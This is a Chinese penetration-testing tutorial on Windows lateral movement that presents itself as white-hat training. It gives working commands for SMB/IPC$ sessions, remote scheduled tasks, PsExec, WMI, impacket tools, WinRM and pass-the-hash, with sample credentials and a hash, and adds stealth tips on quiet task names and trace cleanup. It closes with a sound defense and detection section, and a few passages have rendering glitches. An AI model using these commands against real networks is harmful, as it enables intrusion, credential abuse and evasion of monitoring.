09-内网横向移动:SMB、WMI、PsExec协议穿透与攻击
合规声明:本系列文章所有技术仅在本地靶场(VulnHub / Metasploitable / 自建域环境)或书面授权渗透测试中进行。未经授权的渗透测试属违法行为,请勿对任何未经你书面授权的系统使用本文所述技术。本文是白帽教程,核心目标是让防御者理解攻击链路、加固自身系统。
一、什么是横向移动?
先把概念定死:横向移动(Lateral Movement),就是用已经掌握的一组凭证,去登录/执行内网里的其他机器,把战果从"一台机器"扩散到"一片机器"。
打个比方:你偷偷拿到了小区物业的万能钥匙(凭证),之前只能进 1 号楼(已攻陷主机),现在可以刷卡进 2 号楼、3 号楼、地下车库……这个过程就是横向移动。
它和"纵向移动"的区别要分清:
- 纵向:从普通用户 → root/Administrator(在一台机器内提升权限)。
- 横向:从机器 A → 机器 B → 机器 C(在同一权限等级上扩散)。
横向移动是内网渗透从"点"到"面"的关键一步。它靠的不是"新漏洞",而是已有凭证 + 系统信任机制——内网机器之间默认互相信任,这才是最大的漏洞。
再强调一个内网横向"为什么这么容易"的底层事实:企业里80% 以上的机器共用同一套域管密码或本地管理员密码。运维为了省事,批量装机、批量重置都用同一口令,这就把"一台机器的凭证"变成了"全网机器的凭证"。横向移动的杀伤力,本质上是被这种"密码复用"放大的——防御侧只要解决了密码复用,横向移动的难度立刻上一个台阶。
二、为什么 SMB 和 WMI 是主力通道?
横向移动的通道很多,但攻防实战中SMB 和 WMI 是绝对主力,原因很实在:
- 445/135 端口几乎无处不在。Windows 内网里,SMB(445)负责文件和打印机共享,WMI(走 135 RPC)负责远程管理,这两项服务在域内机器上默认开启。想找一个没开 445 的 Windows 内网主机,比找熊猫还难。
- 不需要额外部署。别的通道可能要求目标开了 SSH、装了 Agent,SMB/WMI 是 Windows 自带的,随开随用。
- 凭证直接可用。只要你有目标机器的本地管理员或域管理员凭证,SMB/WMI 就能"登录"并执行命令。
所以横向移动攻击的典型画像就是:拿着域管密码,一条网线插进内网,逐个用 445 端口把每台机器"摸"一遍。
补充一个机制层面的背景:SMB 之所以能承担"远程执行",是因为 Windows 管理员登录机制本身的设计——域管理员默认就是全网机器的本地管理员(Domain Admins 组被自动加入每台机器的 Administrators 组),而管理员身份通过 SMB 的 ADMIN/C/C/C管理共享就能获得最高控制权。这台机器的"管理口"和"共享口"共用同一个 445 端口,所以横向执行工具几乎都绕着 SMB 转。理解了这一点,你就知道为什么横向移动的攻防都聚焦在 445 端口上。
三、IPC$ 空连接与 net use:横向的"敲门砖"
3.1 什么是 IPC$?
IPC$(Inter-Process Communication,进程间通信)是 SMB 协议暴露的一个匿名共享,它本身不含文件,作用是让客户端和服务器建立"命名管道"连接。只要建立成功,就有了一个会话,可以做各种后续操作(枚举、上传、计划任务……)。
注意:IPC$是 Windows 共享体系的"公共门廊"——你不需要知道机器上有哪些共享,先连上 IPC$ 再说。
3.2 net use 逐参数拆解
net use \\192.168.1.12\ipc$ "Admin@2024!" /user:CORP\administrator逐参数解释:
| 部分 | 含义 |
|---|---|
net use | Windows 自带的"建立网络连接"命令 |
\\192.168.1.12\ipc$ | 目标机器的 IPC 共享路径 |
"Admin@2024!" | 密码,用引号包裹防止特殊字符被解析 |
/user:CORP\administrator | 指定身份,格式是域名\用户名(域用户)或.\用户名(本地用户) |
命令成功会提示"命令成功完成"。此时你已经在 192.168.1.12 上建立了一个管理员身份的 SMB 会话。
验证一下连接是否可用:
:: 列出目标机器的共享资源 net view \\192.168.1.12 :: 枚举 SMB 共享(Kali 侧用 smbclient 更爽) smbclient -L 192.168.1.12 -U CORP/administrator%Admin@2024!逐行解释:
net view列出对方共享;smbclient -L是 Linux 侧的枚举命令,-U 域/用户%密码直接带凭证认证。能看到ADMIN$、C$这类共享,说明凭证有效且对方开了默认管理共享。
为什么 net use 很重要?它是所有 SMB 横向移动的前提——认证不过,后面所有工具(PsExec、计划任务)都白搭。
顺带一提"空连接"(NULL Session):老版本 Windows(Win7/2008 及更早)的 SMB 允许"匿名建立 IPC$ 连接"——不用任何账号密码,直接连\\ip\ipc$。空连接能用来枚举共享、用户名、系统信息,是内网信息收集的老渠道:
net use \\192.168.1.12\ipc$ "" /user:"" :: 空连接建立后,可以尝试枚举 net view \\192.168.1.12逐行解释:密码和用户名都传空字符串,就是不认证的"匿名会话"。现代系统默认已禁用空连接,但老内网、NAS 设备、工控系统里仍大量存在。判断方法:建立成功后再
net view如果还能列共享,说明没关。遇到这类系统,侦察成本几乎为零。
认证失败时的一个排查点:net use报"找不到网络路径"通常是 445 端口被防火墙拦;报"用户名或密码错误"才是凭证问题;报"拒绝访问"可能是账号没有管理员权限。报错信息本身就是情报,先看报错再换策略。
四、at / schtasks:计划任务下发
建立会话后,最简单的横向执行方式是计划任务:让目标机器在指定时间以你的身份运行一个命令。
4.1 老式 at 命令(Win7/2008 时代)
:: 先建立 IPC 会话 net use \\192.168.1.12\ipc$ "Admin@2024!" /user:CORP\administrator :: 创建计划任务,时间是 10:00 at \\192.168.1.12 10:00 cmd.exe /c "whoami > C:\Windows\Temp\result.txt" :: 稍后读取结果 type \\192.168.1.12\C$\Windows\Temp\result.txt逐行解释:
at命令在目标机器上创建一次性计划任务;cmd.exe /c执行命令并输出到文件;最后通过管理共享\\ip\C$\...直接读取结果文件。这种方式把命令执行和结果回传一次性搞定。
4.2 新式 schtasks(Win10/2012+ 标配)
:: 创建任务 schtasks /create /s 192.168.1.12 /u CORP\administrator /p "Admin@2024!" \ /tn "update_task" /tr "cmd.exe /c whoami > C:\Windows\Temp\result.txt" /sc once /st 10:00 :: 立即运行 schtasks /run /s 192.168.1.12 /tn "update_task" :: 删除任务(清理痕迹) schtasks /delete /s 192.168.1.12 /tn "update_task" /f逐行解释:
/s指定远程主机,/u和/p给凭证,/tn任务名(起个像样的名字如update_task降低关注度),/tr要执行的命令,/sc once /st 10:00设置只执行一次、时间为 10:00;/run手动触发不干等时间点;/delete /f跑完把任务删掉清理痕迹。注意:/sc once /st 10:00的时间是目标机器的本地时间,记得先对齐时区。
at 与 schtasks 的选择:at是老 API,权限模型宽松、隐蔽性差(任务直接可见),但简单;schtasks是新 API,参数完整、支持直接指定用户。现代内网(Win10/Server 2016+)一律用 schtasks,老机器(Win7/2008)才需要 at 兜底。另外注意:很多 EDR 对at命令有强规则(因为它太老、正常运维几乎不用),横向执行时 schtasks 更不容易触发告警。
五、PsExec:横向移动的"元老"
5.1 原理:ADMIN$ + 服务安装
PsExec(Sysinternals 工具)的原理值得单独讲——它是后面无数工具的"模板":
- 通过 SMB(445)连接目标的ADMIN$ 共享。
- 把一个小服务程序(如
PSEXESVC.exe)上传并安装成 Windows 服务。 - 通过 **SCM(服务控制管理器)**启动该服务。
- 服务以 SYSTEM 权限运行你的命令,结果回传。
翻译成人话:“我把我的程序安到你的机器上当服务,然后让 Windows 以最高权限帮我跑。”服务 + SYSTEM 权限,这就是 PsExec 的灵魂。
5.2 原生用法
:: Windows 版:直接执行命令 psexec \\192.168.1.12 -u CORP\administrator -p "Admin@2024!" cmd.exe :: Kali 版(impacket 的 psexec.py) python3 psexec.py CORP/administrator:"Admin@2024!"@192.168.1.12逐行解释:
psexec \\目标 -u 用户 -p 密码 cmd.exe直接在目标上开一个交互式 cmd(走的是 ADMIN$ 服务通道);impacket 的psexec.py是 Python 重写版,参数格式是域/用户:密码@目标,同样拿到半交互 shell。注意:PsExec 上传的服务文件有固定文件名特征(PSEXESVC),这是防守方经典检测点。
PsExec 的一个易错点:psexec默认要求目标是本地管理员(域管默认满足)。如果认证成功但报"拒绝访问",多半是目标机器把Domain Admins从本地管理员组里剔除过(企业里这叫"管理员提权管理",是好防御),这种情况只能换 WMI 或找该机器本地管理员的凭证。横向工具的选择不是"哪个强用哪个",而是"哪个能用用哪个"。
用后的清理意识:PsExec 在目标上会留下服务文件(%SystemRoot%\PSEXESVC.exe)和系统日志。合法测试结束时记得手动删除该文件、停止服务,别把靶场里的习惯带到授权环境里——清理痕迹是职业素养的一部分。
六、WMI 横向:最"低调"的执行通道
WMI(Windows Management Instrumentation,Windows 管理规范)是 Windows 的远程管理接口,通过 135 端口(RPC)工作。它横向移动的优势在于:不像 PsExec 那样落地服务文件,只在内存里执行,痕迹更小。
6.1 wmic 命令行方式
:: 远程执行命令 wmic /node:192.168.1.12 /user:CORP\administrator /password:"Admin@2024!" \ process call create "cmd.exe /c whoami > C:\Windows\Temp\result.txt"逐行解释:
/node目标机器,/user/password凭证,process call create是 WMI 的"创建进程"方法——相当于远程让目标机执行指定命令。wmic 是 Win7/2008 时代的标配,Win11 里已被移除,但老内网里依然大量存在。
6.2 impacket 套件全家桶:三剑客对比
Kali 自带 impacket,它把横向移动工具做成了 Python 版"全家桶"。三剑客对比:
| 工具 | 原理 | 特点 | 适用场景 |
|---|---|---|---|
psexec.py | SMB + 服务安装 | 交互式,体验好,但会落地服务文件 | 需要交互 shell |
wmiexec.py | WMI 进程创建 | 纯内存执行,不落盘,最隐蔽 | 想少留痕 |
smbexec.py | SMB 命令管道 | 无落地文件,输出经过命名管道回传 | 隐蔽执行 |
# 三兄弟命令格式一致,只是前缀不同python3 wmiexec.py CORP/administrator:"Admin@2024!"@192.168.1.12 python3 smbexec.py CORP/administrator:"Admin@2024!"@192.168.1.12逐行解释:连上后都是半交互 shell(
C:\>提示符)。wmiexec.py 每执行一条命令就通过 WMI 建一次进程,命令结束进程即消失;smbexec.py 走的是 SMB 命名管道传输,不落地任何文件。对抗性选择建议:追求稳定用 psexec,追求隐蔽用 wmiexec/smbexec。
6.3 其他横向通道:RDP 与 WinRM
SMB/WMI 之外,还有两条高频通道值得了解,它们的适用条件不同:
① RDP(3389):拿到凭证后直接图形化登录。适合需要"人肉操作"的场景(点界面、看屏幕),且 RDP 会话比命令行留痕更隐蔽(登录日志依然有)。常用两个技巧:
:: 远程桌面命令行客户端(配合凭证) mstsc /v:192.168.1.12 :: Kali 侧用 xfreerdp 免交互登录 xfreerdp /u:administrator /p:"Admin@2024!" /v:192.168.1.12逐行解释:
mstsc是 Windows 自带远程桌面客户端,/v指定目标;xfreerdp是 Linux 下的开源 RDP 客户端,凭证直接带在命令行里,还能加/drive:、/clipboard等参数做文件传输和剪贴板联动。
② WinRM(5985/5986):Windows 远程管理,基于 HTTP/HTTPS。它比 SMB 更"干净"(没有文件共享的强关联),在某些 SMB 被防火墙封锁的网络里反而是唯一通道:
# Kali 侧用 evil-winrm 交互式 shellevil-winrm-i192.168.1.12-uadministrator-p'Admin@2024!'逐行解释:
evil-winrm是 WinRM 的渗透客户端,连上后直接是 PowerShell 会话,还支持自动上传下载文件、加载自定义脚本。WinRM 默认只在部分 Windows Server 版本开启,目标没开 5985/5986 就用不了,探测时先确认端口。
通道选择建议:优先 SMB(psexec/wmiexec),RDP 做补充,WinRM 当 SMB 被封锁时的备选。三条通道都试不通,再回去看防火墙规则和网络可达性。
7.1 原理:为什么不用明文也能登录?
前面抓到的 NTLM Hash,这里派上大用场了。
Windows 的 NTLM 认证流程(简化版)是这样的:
客户端 ──(用密码的Hash加密一段挑战值)──► 服务器 ◄──────────(返回挑战值)──────────关键点:整个认证过程中,服务器验证的其实是"客户端能不能用正确的 NTLM Hash 加密挑战值",而不是明文密码本身。也就是说——只要你有正确的 NTLM Hash,即使不知道明文密码,也能完成认证。
把这个机制再拆细一点,你就理解为什么"无法通过打补丁禁止":
- 服务器收到登录请求后,不查密码明文,只查自己数据库里存的那份 NTLM Hash(SAM/AD 里存的就是 Hash)。
- 服务器生成一段随机"挑战值"发给客户端。
- 客户端用自己持有的 Hash 对挑战值做加密运算,回传结果。
- 服务器用自己数据库里的 Hash 做同样运算,比对结果——一致就通过。
看出问题了吗?整个流程里"密码"从来没出现过,双方比对的是"两份 Hash 对同一挑战值的运算结果"。攻击者手里有合法 Hash 时,第 3 步对它来说和持有密码毫无区别。要堵住这条路,只能让攻击者根本拿不到 Hash——这就是 Credential Guard、LAPS、管理员登录隔离存在的全部理由。
这就是Pass-the-Hash(哈希传递,PtH):我根本不需要破解你的密码,我只要"持有"你的 Hash,就能以你的身份登录系统。
7.2 实战演示
# 拿到某管理员 NTLM Hash:32ed87bdb5fdc5e9cba88547376818d4# 用 impacket 全家桶直接带 Hash 登录,不需要密码python3 psexec.py-hashes:32ed87bdb5fdc5e9cba88547376818d4\CORP/administrator@192.168.1.12逐行解释:
-hashes参数接受LM:NT格式,这里 LM 部分留空、只给 NT(NTLM)Hash。impacket 直接用这个 Hash 完成认证,根本不问密码。登录成功后你就是一个"管理员"——凭据的拥有者本人改不改密码都拦不住你,因为密码改了 Hash 才变,而你手里的是已经泄露的 Hash。
7.3 防御视角:PtH 为什么难防?
- 它不是"漏洞利用",而是认证机制本身的特性——Windows 必须允许 Hash 认证,否则整个内网认证体系都得重写。
- 你无法通过"打补丁"修掉它。
- 所以防线只能是:别让 Hash 泄露(前面所有抓取手段的防御)+检测 Hash 的异常使用(见第十节)。
再深一层理解 PtH 的检测本质:PtH 攻击在网络日志上的表现,是"一个账号从非其登录主机发起了 NTLM 认证"。具体怎么看出异常?Windows 登录日志(Event ID 4624)里记录了 Logon Type——**Type 3(网络登录)**是 SMB/NetBIOS 的典型特征,而"某账号平时从不使用 Type 3、某源 IP 从不是它的工作机",这两个交叉就能命中。防御侧一般用"账号-登录源-登录类型"三个维度的行为基线来识别,这也是现代 SIEM 里最有效的 PtH 检测思路。
八、fscan 一键横向思路解析
fscan 除了扫描,还有一个"一键横向"思路(配合其弱口令和漏洞检测):
# 拿到一批凭证后,批量打 SMB 弱口令./fscan-h192.168.1.0/24-msmb-pwd"Admin@2024!"-user"CORP\administrator"# 输出中能看到哪些机器用这组凭证能登上去:# [+] 192.168.1.15:445: SMB Administrator Password [Admin@2024!]# [+] 192.168.1.16:445: SMB Administrator Password [Admin@2024!]# [+] 192.168.1.18:445: SMB Administrator Password [Admin@2024!]逐行解释:
-m smb限定只测 SMB 服务,-pwd指定已知密码,-user指定账号。内网里管理员同密码的普遍性(密码复用)让这种批量验证命中率极高——你只需要一组凭证,fscan 帮你找出所有能用的机器。
这就解释了为什么内网渗透经常"一夜之间全网沦陷":一组成员凭证 + 一个 445 端口 + 自动批量验证 = 全网所有密码相同的机器全部失守。
九、靶场完整演示:一条横向链路
在本地靶场(自建 Win7 + Server 2008 双机环境)走一遍:
第一步:在机器 A(已拿下)用 mimikatz 抓到域管 Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4 第二步:fscan 扫描机器 B/C/D 的 445 端口是否开放 ./fscan -h 192.168.1.0/24 -p 445 第三步:用 impacket 全家桶对每台机器发起 PtH 登录 python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 CORP/administrator@192.168.1.16 第四步:在每台机器上执行 ipconfig /all,收集网段和 DNS, 找下一层网络的入口 第五步:持续重复"凭证抓取 → 横向 → 再抓取",一路推向域控这条链路里,wmiexec 的纯内存执行 + 计划任务清理 + 高频凭证复用,就是真实红队最常用的"低噪声横向"打法。
动手验证的三个验收标准(自己练的时候对照):
- 连通性验证:每条命令执行后都要能看到回显或结果文件,杜绝"命令发了但不知道成没成"。
- 权限验证:登录每台机器后第一件事跑
whoami,确认拿到的是目标凭证的权限(尤其确认是不是域管)。 - 清理验证:任务删除、服务清理、连接断开,回到最初状态再验收下一台。做完整条链路后,在域控上检查事件日志——你会惊讶地发现自己留下了多少痕迹,这比任何教材都直观。
十、检测与防御:横向移动的天敌清单
10.1 445 端口管控(治本之策)
- 网络层:防火墙/交换机对员工区到服务器区的 445 端口做最小化放行,业务不需要 SMB 互通的网段之间直接阻断。
- 主机层:不开文件共享的机器,禁用 SMBv1 并考虑停用 SMB 服务;关闭不必要的 ADMIN、C、C、C管理共享(
net share调整)。
10.2 PtH 的专项防御
- 开启 Credential Guard:把 Hash 存入 VBS 隔离环境,攻击者即使拿下主机也读不到可用于 PtH 的 Hash。
- 本地管理员密码随机化(LAPS):即使某台机器 Hash 泄露,也只是这一台的,无法横向复用。
- 限制管理员登录目标:域管只在专用管理机/域控登录,不在员工机使用高权限账号,从源头减少高价值 Hash 在低价值机器上停留。
10.3 凭据与行为监控
| 检测点 | 说明 |
|---|---|
| 同一账号短时间登录多台机器 | 横向移动的最强信号(正常管理员不会 1 分钟登 10 台机器) |
| 登录源异常(管理员从员工 PC 登录域控) | 结合登录日志(Event ID 4624)分析 |
| 计划任务/服务批量创建 | Event ID 4698(计划任务创建)、7045(服务安装)告警 |
| 非工作时段登录(夜间批量登录) | 结合登录时间和账号习惯判断,脚本小子常在深夜集中操作 |
PSEXESVC服务文件/服务名特征 | Sysmon 规则直接命中 |
| 445 端口突发高频连接 | 疑似 SMB 批量横向 |
Sysmon + Windows 安全日志 + 登录分析基本能覆盖上面所有点。横向移动在日志层面其实是"重灾区"——它要跟多台机器建立认证会话,事件记录想藏都藏不住,关键是防守方有没有在看。
补几个具体的日志字段:横向移动的攻击日志里,高频出现的事件 ID 和字段包括——4624(登录成功,看Logon Type和Source Network Address)、4625(登录失败,异常爆破)、4648(显式凭据登录,PsExec 的特征)、7045(新服务安装,PsExec/恶意服务的痕迹)、4698(新计划任务)。把这些事件按"来源 IP + 目标机器"聚合,一条攻击链的走向就勾勒出来了。
10.4 网络分段(兜底)
即便单点防护全被绕过,把域控、数据库放进独立网段并做严格的东西向访问控制,横向移动到核心区就会被物理性阻断。纵深防御的意义就在于此:任何一层失守,下一层仍然能拦住。
管理面隔离是其中最常见也最有效的一种:所有管理操作(RDP、SSH、WinRM、SMB 管理共享)强制走跳板机/堡垒机,内网机器只对跳板机开放管理端口,其他来源一律拒绝。这样即使攻击者拿到一组凭证,他也没法从普通员工机直连服务器管理口——必须先过堡垒机的认证和审计。横向移动打击的是"到处都能连",管理面隔离打击的正是这个"到处"。
小结
这一篇把横向移动的核心链路讲完了:为什么 SMB/WMI 是主力通道、net use 如何建立 IPC$ 会话(含空连接)、at/schtasks 如何下发计划任务、PsExec 的"ADMIN$+服务安装"原理、WMI 的纯内存执行、RDP/WinRM 备选通道,以及不破解密码直接认证的 Pass-the-Hash。最后用 fscan 演示了"一组凭证批量扫全网"的现实攻击面。
对防御者,记住一句话:横向移动攻的是信任关系,防横向移动就要砍信任关系——445 最小化、Credential Guard、LAPS、管理员登录隔离,缺一不可。给读者的收尾建议:在自建的双机靶场里,把本文每一条命令亲手跑一遍,直到"凭证 → 通道 → 执行 → 清理"四个环节能一气呵成。当你在一台机器上能流畅地"调兵遣将"时,横向移动这门功课就算真正过关了。至于那个管理着全网账号密码的地方,就是下一个阶段的故事了——但这篇的核心,你已经完全掌握了。